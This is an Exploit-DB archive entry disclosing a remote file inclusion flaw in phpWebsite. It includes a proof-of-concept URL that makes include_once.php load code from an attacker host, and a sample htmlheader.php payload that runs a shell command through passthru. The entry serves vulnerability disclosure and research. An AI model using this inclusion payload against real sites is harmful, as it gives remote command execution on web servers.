exploit-db-mirror/exploits/php/webapps/21825.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

12 lines
No EOL
622 B
Text

source: https://www.securityfocus.com/bid/5779/info
A vulnerability has been discovered in phpWebsite which allows an attacker to remotely include a malicious PHP file. It is possible for an attacker to specify a remote location for phpWebsite to download an attacker-supplied htmlheader.php script.
This issue could be exploited to execute arbitrary commands within the context of the webserver process.
The following proof of concept has been supplied by Tim Vandermeersch:
http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/
--- htmlheader.php ---
<?php echo "<?php passthru("/bin/ls");?>" ?> .